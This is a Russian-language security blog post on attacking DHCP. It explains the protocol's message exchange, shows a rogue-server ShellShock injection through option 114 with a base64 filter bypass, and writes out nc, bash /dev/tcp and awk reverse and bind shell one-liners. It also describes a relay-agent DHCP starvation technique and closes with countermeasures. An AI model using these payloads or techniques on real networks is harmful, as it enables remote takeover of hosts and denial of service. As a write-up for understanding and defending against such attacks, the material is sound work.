Атакуем DHCP

    LOGO


    В данной статье мы расскажем, как эксплуатировать ShellShock на клиенте DHCP и получить на нем полноценный reverse или bind shell. Интернет пестрит статьями, повествующими о возможностях эксплуатации shellshock на DHCP-клиентах. Есть даже статьи о том, как получить reverse shell на DHCP-клиенте. Однако, стабильно и повсеместно работающего инструмента для получения shell мы еще не встречали. Те, кто в теме, возможно, нового здесь не увидят, но не исключено, что вам будет интересно узнать, как нам удалось автоматизировать получение reverse и bind shell в условиях фильтрации и экранирования символов на стороне DHCP-клиента. Кроме того, мы расскажем и о том, чем вообще может быть интересен протокол DHCP.


    Протокол DHCP применяется для автоматического назначения IP-адреса, шлюза по умолчанию, DNS-сервера и т.д. В качестве транспорта данный протокол использует UDP, а это значит, что мы можем без особых проблем подменять все интересующие нас поля в сетевом пакете, начиная с канального уровня: MAC-адрес источника, IP-адрес источника, порты источника — то есть все, что нам хочется.


    Работает DHCP, в двух словах, примерно так:


    1. DHCPDISCOVER Клиент отправляет широковещательный сетевой пакет с целью найти DHCP-сервер в сети, при этом с канальным уровнем все понятно и о нем писать дальше не будем, сетевой — исходя из собственного опыта, здесь может быть всякое — зависит от клиента, но должно быть:

      SRC IP: 0.0.0.0, DST IP: 255.255.255.255.
      На транспортном уровне все запросы отправляются так:
      SRC PORT: 68, DST PORT: 67
      Соответственно, когда сервер отвечает клиенту:
      SRC PORT: 67, DST PORT: 68

      Контрольную сумму UDP можно не считать. Мы не встречали ни одного DHCP-сервера, который бы ее проверял, да и сетевое оборудование пропускает пакеты с нулевым значением UDP checksum без проблем. В первом байте прикладного уровня (поле op — тип сообщения) клиент выставляет значение — 0х01 (BOOTREQUEST — запрос от клиента к серверу). На остальных полях пакета не будем останавливаться, поскольку их описание, длина и значения есть в RFC и в WIKI. В запросе от клиента нам также интересно поле xid (Transaction ID — рандомное число размером 4 байта по смещению 0х04 от начала прикладного уровня в пакете). Если сервер в ответе выставит поле xid не равным xid клиента, то клиент отбросит ответ от сервера, поскольку посчитает, что этот ответ в другой транзакции. Остановимся на DHCP-опциях пакета. Всего их 256, а полный список можно найти здесь или тут. Клиент обязательно выставляет опцию с кодом 53 (DHCP message type тип DHCP сообщения) равной 0х01, это значит, что данный пакет предназначен для нахождения DHCP-сервера, и опцию 55 (Parameter Request List список запрашиваемых у сервера параметров, например адрес шлюза, маска подсети, DNS-серверы и т.д.).

      Вот так выглядит этот запрос в WireShark:

      DHCPDISCOVER


    2. DHCPOFFER Сервер получает запрос от клиента и отправляет ему предложение. На сетевом уровне в качестве SRC IP сервер выставляет свой IP-адрес, в DST IP должно быть: 255.255.255.255, но это не всегда так. В DST IP также может быть выставлен IP-адрес, выделенный клиенту, или IP-адрес ретранслятора, если тот участвует в процессе. Вы спросите, а как же пакет доходит до клиента, если у него еще нет IP-адреса? Все просто: в DHCPDISCOVER- и DHCPREQUEST-запросах, в поле chaddr (Сlient MAC address) клиент указывает свой MAC-адрес.

      Таким образом, сервер или ретранслятор знают, куда доставлять пакет на канальном уровне, поскольку сервер или ретранслятор всегда находятся в пределах одного широковещательного домена с клиентом, а что происходит на сетевом уровне, не так уж и важно UDP магия. В типе сообщения значение 0х02 (BOOTREPLY — ответ сервера клиенту). В поле xid выставляется значение, равное значению поля xid в запросе клиента. В поле yiaddr (Your (client) IP address) выставляется IP-адрес клиента, предложенный сервером. Что появляется в DHCP-опциях: в опции с кодом 53 (DHCP message type) значение — 0х02 (DHCPOFFER), код 51 (IP Address Lease Time) — время аренды IP-адреса, код 54 (Server Identifier) — IP-адрес DHCP-сервера. Все остальные опции предложения зависят от того, какие параметры запросил клиент, их список клиент указал в DHCPDISCOVER-запросе в опции с кодом 55 (Parameter Request List).

      DHCPOFFER


    3. DHCPREQUEST Клиент отправляет серверу запрос на получение сетевых параметров. На сетевом уровне должно быть так: SRC IP: 0.0.0.0 DST IP: 255.255.255.255 но может быть и так: в SRC IP выставляется IP-адрес, который назначил сервер в своем предложении (поле yiaddr), а в DST IP выставляется IP-адрес, который расположен в опции предложения сервера с кодом 54 (Server Identifier). DHCP-опции в этом запросе не отличаются от DHCPDISCOVER-запроса, за исключением опции с кодом 53 (DHCP message type тип DHCP сообщения), равной 0х03 — это значит, что данный пакет предназначен для запроса параметров от DHCP-сервера. И еще клиент добавляет в запрос опцию с кодом 54 (Server Identifier), поскольку уже знает IP-адрес сервера, а также опцию с кодом 50 (Requested IP address). Кроме того, клиент может выставить опцию 12(Host Name Option свое имя хоста) и т.п.

      DHCPREQUEST


    4. DHCPACK Сервер отправляет клиенту подтверждение. На сетевом уровне должно быть так: SRC IP: <IP-адрес сервера> DST IP: 255.255.255.255. Опции и поля этого пакета не отличаются от DHCPOFFER, за исключением опции с кодом 53 (DHCP message type тип DHCP-сообщения), равной 0х05 — это значит, что данный пакет — подтверждение от DHCP-сервера.

      DHCPACK

    Далее, клиент с помощью протокола ARP пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Если конфликт не найден, клиент выставляет полученные из DHCPACK параметры сетевому интерфейсу. Если обнаружен, клиент рассылает широковещательное сообщение отказа DHCP DHCPDECLINE, после чего процедура получения IP-адреса повторяется.


    Также у протокола DHCP есть еще одна особенность: если клиент ранее отправлял запрос DHCPDISCOVER, то при повторном подключении к той же сети клиент сразу отправляет DHCPREQUEST; при этом в DHCP-опции с кодом 50 (Requested IP address) выставляется IP-адрес, полученый ранее.


    Остановимся на упомянутом DHCPDECLINE подробнее. На практике это выглядит так:


    1. Клиент отправляет DHCPREQUEST, поскольку уже подключался к этой сети. Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; Client MAC address: 08:00:27:ce:7a:64

      DHCPREQUEST before DHCPDECLINE


    2. Сервер отвечает DHCPACK.
      Transaction ID: 0x825b824a; yiaddr: 192.168.1.171; siaddr: 192.168.1.1; router: 192.168.1.1
      DHCPACK before DHCPDECLINE


    3. Клиент с помощью протокола ARP узнает MAC-адрес шлюза, а далее, через тот же ARP, пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Запрос выглядит так:

      sender mac: 08:00:27:ce:7a:64; sender ip: 0.0.0.0; target mac: 00:00:00:00:00:00; target ip: 192.168.1.171

      Address conflict detection


    4. Хост с IP-адресом 192.168.1.171 отвечает на ARP-запрос.

      ARP reply


    5. Клиент выявил конфликт IP-адресов в сети и отправляет широковещательный DHCPDECLINE.

      Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; ciaddr: 192.168.1.171

      DHCPDECLINE


    6. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0x713a0fe7. Вы обратили внимание на пакеты с номерами 89, 101, 106, 136 и 151? Если да, то наверняка поняли, что на этот раз сервер выделил клиенту IP-адрес 192.168.1.172 и перед этим DHCP-сервер сам с помощью того же ARP (пакеты с номерами 89, 101, 106: Who has 192.168.1.172? Tell 192.168.1.1) убедился, что IP-адрес 192.168.1.172 свободен, и только потом отправил DHCPOFFER. После этого клиент еще раз попытался выявить конфликт IP-адресов (пакеты с номерами 136, 151: Who has 192.168.1.172? Tell 0.0.0.0).

      Retrieving IP address again

    Мы уже знаем, что клиент, подключившись хотя бы раз к сети, будет отправлять только DHCPREQUEST-запрос, выставляя при этом в Requested IP адрес, который получил ранее. Но что если DHCP-сервер уже выделил этот IP-адрес, поменялась конфигурация или адресация, и сервер не может дать клиенту этот адрес? Для этого существует тип сообщения DHCPNAK. Работает он следующим образом:


    1. Клиент отправляет DHCPREQUEST.
      Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14

      DHCPREQUEST before DHCPNAK


    2. В настройках сервера указан диапазон, в котором он может выделять IP-адрес, но тот, который запросил клиент, не входит в данный диапазон, поэтому сервер отправляет DHCPNAK.
      Transaction ID: 0xa7ddc5cb; Message: address not available

      DHCPNAK


    3. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0xcfbf77a9.

      Retrieving IP address again

    Перейдем к shellshock


    Про то, как и почему работает shellshock, писать нет никакого смысла, ведь эта уязвимость — одна из самых популярных, и о ней есть великое множество статей. Лучше остановимся на моменте, как получить shell на клиенте DHCP, в случае, если мы выступим в роли DHCP-сервера.


    В какие поля и опции можно инъектировать?


    Ответ: практически в любые! Вот список кодов DHCP-опций, в которые возможно инъектировать (проверено на NetworkManager из состава CentOS 6.5): 14, 18, 43, 56, 60, 61, 62, 63, 64, 66, 67, 77, 80, 82, 83, 84, 86, 87, 90, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 120, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 250, 251, 253.


    В нашем PoC мы будем использовать DHCP-опцию с кодом 114 (URL). Почему? Потому, что ее длина — вариативна (максимальная длина — 256 байт), а также потому, что ее все используют. Ее описание еще есть здесь. Существует даже статья о том, как с помощью этой опции обновить уязвимые к shellshock системы :)


    Какие у нас ограничения?


    Ответ: их много, слишком много!


    1. Длина — 256 байт
    2. Возможно использовать только команды интерпретатора
    3. Большое ограничение на используемые символы: некоторые фильтруются, некоторые экранируются. Это зависит от клиента DHCP. Вот набор символов, которые не везде получится использовать: "';&|
    4. После выполнения команды, IPv4-адрес может не присвоиться, в таком случае возможно использовать IPv6 link-local-адрес, если на интерфейсе не включено игнорирование IPv6
    5. Необходимо использовать абсолютные пути, иначе команда может не выполниться

    И что тогда делать?


    Ответ: обходить ограничения!
    Для обхода фильтра мы должны выполнить все одной командой. Сделаем это так:


    /bin/sh <(/usr/bin/base64 -d <<< Base64String)

    Здесь на вход интерпретатора /bin/sh мы подаем вывод /usr/bin/base64, которая декодирует строку Base64String. Таким образом, мы использовали уже 34 байта, длина Base64String не должна превышать 222 байтов.


    А что будет в Base64String? Не забываем про четвертое ограничение, поэтому в первую очередь выставим IP-адрес интерфейсу командой:


    /bin/ip addr add <IP>/<MASK> dev eth0;

    Эта команда накладывает на нас еще одно ограничение: мы должны знать имя интерфейса, которому выставляем IP-адрес. По умолчанию, в старых версиях Linux, на которых еще есть shellshock, первый сетевой интерфейс называется eth0, так что ориентируемся на него. Еще в эту строку мы должны поместить reverse shell или bind shell.


    Для reverse shell будем использовать стандартный shell с использованием nc:


    nc -e /bin/sh <IP> <PORT> 2>&1 &
    rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f &

    Для reverse shell также можно использовать команду отсюда:


    /bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

    Для bind shell будем использовать /cmd/unix/bind_awk из состава Metasploit, как один из наиболее коротких:


    awk 'BEGIN{s="/inet/tcp/<PORT>/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &

    PoC


    Видео:





    Еще немного про DHCP


    Ни в коем случае DHCP нельзя рассматривать исключительно как метод получения RCE на клиентах, потому что, во-первых, мы должны ответить быстрее реального DHCP-сервера в сети, и, во-вторых, на клиенте должен быть shellshock, а это маловероятно. Протокол DHCP в первую очередь необходимо рассматривать как метод осуществления MITM.


    Поговорим о том, как ответить на любой запрос быстрее DHCP-сервера. Самый очевидный вариант — быть ближе к клиенту по расположению в сети, и еще наше железо и алгоритм должны работать быстрее. Однако, в большинстве случаев это не так.


    Есть второй вариант: нужно нагрузить сервер, но при этом не занимать новые IP-адреса в сети, чтобы не исчерпать весь пул свободных адресов (такая атака называется DHCP starvation). Как вы уже поняли, необходимо отправлять большое количество запросов DHCPDISCOVER, поскольку сервер должен обработать каждый из них и отправить в ответ DHCPOFFER. Однако, в рамках данной транзакции DHCPREQUEST мы отправлять не будем, поэтому сервер будет его ждать. IP-адрес не будет считаться выделенным, потому что процедура получения IP не завершена.


    Давайте посмотрим, как это выглядит на практике.


    Графы нагрузки и процессы до отправки DHCPDISCOVER-запросов:


    Before load test realtime graphs


    Before load test processes


    На рисунках видно, что load average роутера колеблется от 0.1 до 0.3, и процесс dnsmasq занимает 0% CPU.


    Графы нагрузки, процессы и список DHCP-клиентов во время отправки DHCPDISCOVER-запросов:


    During load test realtime graphs


    During load test processes


    During load test DHPC clients


    Load average роутера повысился до 1.96, и он уже не успевает отвечать на все запросы DHCPDISCOVER, процесс dnsmasq занимает целых 64% CPU, но при этом в списке DHCP клиентов только наш хост.


    В результате, мы и сервер немного нагрузили, и IP-адреса не заняли. Если мы отфильтруем все сгенерированные нами же запросы DHCPDISCOVER, вероятнось того, что мы ответим быстрее реального DHCP-сервера, значительно увеличится. Задача выполнена, идем дальше.


    Теперь поговорим о типах DHCP сообщений:


    Value Message_Type
    1 DHCPDISCOVER
    2 DHCPOFFER
    3 DHCPREQUEST
    4 DHCPDECLINE
    5 DHCPACK
    6 DHCPNAK
    7 DHCPRELEASE
    8 DHCPINFORM

    Первые шесть типов сообщений мы уже разобрали, осталось всего два: седьмой (DHCPRELEASE) и восьмой (DHCPINFORM). Остановимся на них подробнее.


    Клиент может явным образом прекратить аренду IP-адреса. Для этого он отправляет сообщение освобождения аренды адреса DHCPRELEASE тому серверу, который предоставил адрес ранее. В отличие от других сообщений, это не рассылается широковещательно.


    Сообщение информации DHCPINFORM предназначено для определения дополнительных сетевых параметров теми клиентами, у которых IP-адрес настроен вручную. Исходя из своего опыта, можем сказать, что такие сообщения отправляют только Windows хосты :(. Сервер отвечает на подобный запрос DHCPACK без выделения IP-адреса. Для этих сообщений существует свой проект rfc. Вы уже поняли, что мы можем выставить в DHCPACK свой шлюз, DNS, и т.д. Главное — ответить раньше реального DHCP сервера, а эта проблема уже решена выше.


    DHCP starvation & DHCP relay agent


    В данной статье мы упоминали про атаку DHCP starvation — исчерпание пула свободных IP-адресов. Бытует мнение, что провести данную атаку возможно, отправляя лишь большое количество DHCPDISCOVER или DHCPREQUEST запросов с рандомных MAC-адресов, и тогда на каждый такой запрос DHCP-сервер выделит и зарезервирует IP-адрес, но это не всегда так. Как мы уже знаем, процедура получения и резервирования IP-адреса заканчивается тогда, когда DHCP-сервер отправляет сообщение DHCPACK. Наиболее корректно производить данную атаку, представляясь как DHCP relay agent.


    Приведем пример:


    1. Наш сетевой интерфейс enp0s3 с MAC-адресом: 08:00:27:6a:82:5f и IP-адресом: 192.168.1.2. В качестве DHCP-сервера будет выступать Dnsmasq/2.73 из состава OpenWrt Chaos Calmer 15.05.1 IP-адрес: 192.168.1.1

      Before send


      DHCP relay script help


    2. Начинаем отправку запросов:

      Send DHCP requests 1

      Send DHCP requests 2

    Таким образом, мы забъем весь пул свободных IP-адресов, а легитимный DHCP-клиент сможет получить IP-адрес от этого DHCP-сервера только через 12 часов. Пока легитимный DHCP-сервер не может отправить ответы клиентам, это можем сделать мы!


    Как это работает:


    1. Формируем и отправляем широковещательный DHCPDISCOVER-запрос, при этом представлемся как DHCP relay agent. В поле giaddr (Relay agent IP) указываем свой IP-адрес 192.168.1.2, в поле chaddr (Client MAC address) — рандомный MAC 00:19:bb:f5:e7:a8, при этом на канальном уровне в SRC MAC выставляем свой MAC-адрес.

      DHCPDISCOVER


    2. Сервер отвечает сообщением DHCPOFFER агенту ретрансляции (нам), и предлагает клиенту с MAC-адресом 00:19:bb:f5:e7:a8 IP-адрес 192.168.1.232

      DHCPOFFER


    3. После получения DHCPOFFER, отправляем широковещательный DHCPREQUEST-запрос, при этом в DHCP-опции с кодом 50 (Requested IP address) выставляем предложеный клиенту IP-адрес 192.168.1.232, в опции с кодом 12 (Host Name Option) — рандомную строку. Важно: значения полей xid (Transaction ID) и chaddr (Client MAC address) в DHCPREQUEST и DHCPDISCOVER должны быть одинаковыми, иначе сервер отбросит запрос, ведь это будет выглядеть, как другая транзакция от того же клиента, либо другой клиент с той же транзакцией.

      DHCPREQUEST


    4. Сервер отправляет агенту ретрансляции сообщение DHCPACK. С этого момента IP-адрес 192.168.1.232 считается зарезервированным за клиентом с MAC-адресом 00:19:bb:f5:e7:a8 на 12 часов (время аренды по умолчанию).

      DHCPACK

    Выводы


    Способы противодействия:


    1. DHCP snooping — функция коммутатора, предназначенная для защиты от атак с использованием протокола DHCP. Например, атаки с подменой DHCP-сервера в сети;


    2. Port security — функция коммутатора, позволяющая указать MAC-адреса хостов, которым разрешено передавать данные через порт. После этого порт не передает пакеты, если MAC-адрес отправителя не указан как разрешенный;


    3. Настройка сетевого оборудования с целью ограничения количества DHCPDISCOVER и DHCPREQUEST запросов с одного MAC-адреса и/или IP-адреса;


    4. Запись и анализ трафика в сети для отслеживания аномалий. Например, обычное количество DHCP-запросов в вашей сети не превышает 100-200 в день, а во время атаки DHCP starvation их число увеличивается многократно. Еще один пример: обычно в вашей сети количество DHCP-ответов не превышает количества DHCP-запросов, а теперь количество DHCP-ответов стало вдвое больше DHCP-запросов. Это значит, что кто-то производит атаку с подменой DHCP-сервера;


    5. Использование IDS, IPS, SIEM и систем мониторинга оборудования типа Zabbix;


    6. По возможности использовать статическую привязку MAC — IP на DHCP сервере;


    7. Использовать DHCP-ретрансляторы и DHCP-сервера поддерживающие DHCP опцию с кодом 82;


    8. Непрерывное обновления программного обеспечения. Обновить хосты можно и так :)
    • +33
    • 28k
    • 9
    Digital Security 182,23
    Безопасность как искусство
    Поделиться публикацией
    Комментарии 9
    • +2

      Интересно!

      • НЛО прилетело и опубликовало эту надпись здесь
        • +3
          1. Шелшок устарел, с этим никто не спорит, но протокол DHCP в первую очередь необходимо рассматривать как метод осуществления MITM.

          2. Портсекурити тут вообще ни при делах, но про него стоило упомянуть. Для защиты от подобного рода скриптов — https://github.com/hatRiot/zarp/blob/master/src/modules/dos/dhcp_starvation.py

          3. Мучать днсмаск на какой то мыльнице это сильно. Были проверки и на нормальном железе — результат тот же, время ответа на DHCPDISCOVER от легитимного клиента значительно увеличивается.

          4. Опций всего 256: 0 — Pad… 255 — End. https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml

          5. Клиенты кладут болт на все опции которые не запрашивали. Согласен, но некоторые клиенты, например NetworkManager из состава CentOS 6.5 готов обработать любую опцию которую ему прислал сервер.

          6. Релей агенты на свичах с опцией 82 + дхцп сервер который имеет только статические привязки мак-ип. Полностью согласен.
          • –1
            Подскажите, пожалуйста, в какой версии CentOS исправлено «NetworkManager из состава CentOS 6.5 готов обработать любую опцию которую ему прислал сервер»? Заранее спасибо
          • +1
            Спасибо за комментарий, критика это всегда хорошо.
          • –1

            Пункты 1-8 заменяются на всего один: использовать статику.

            • 0
              Согласен, использование статики отличное решение, но его не всегда возможно быстро и надежно реализовать. Кроме того, использование статики не защитит от атаки с подменой DHCP сервера.
              • 0
                ACL на свичах и заббикс, который проверяет, что в конфиги к свичам оно залито — наше всё.
            • 0
              Не дурное объяснение работы протокола и его сессий, да ещё и с картинками. Прям распечатать, и в суппорт для объяснения и развития. Спасибо. :)

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое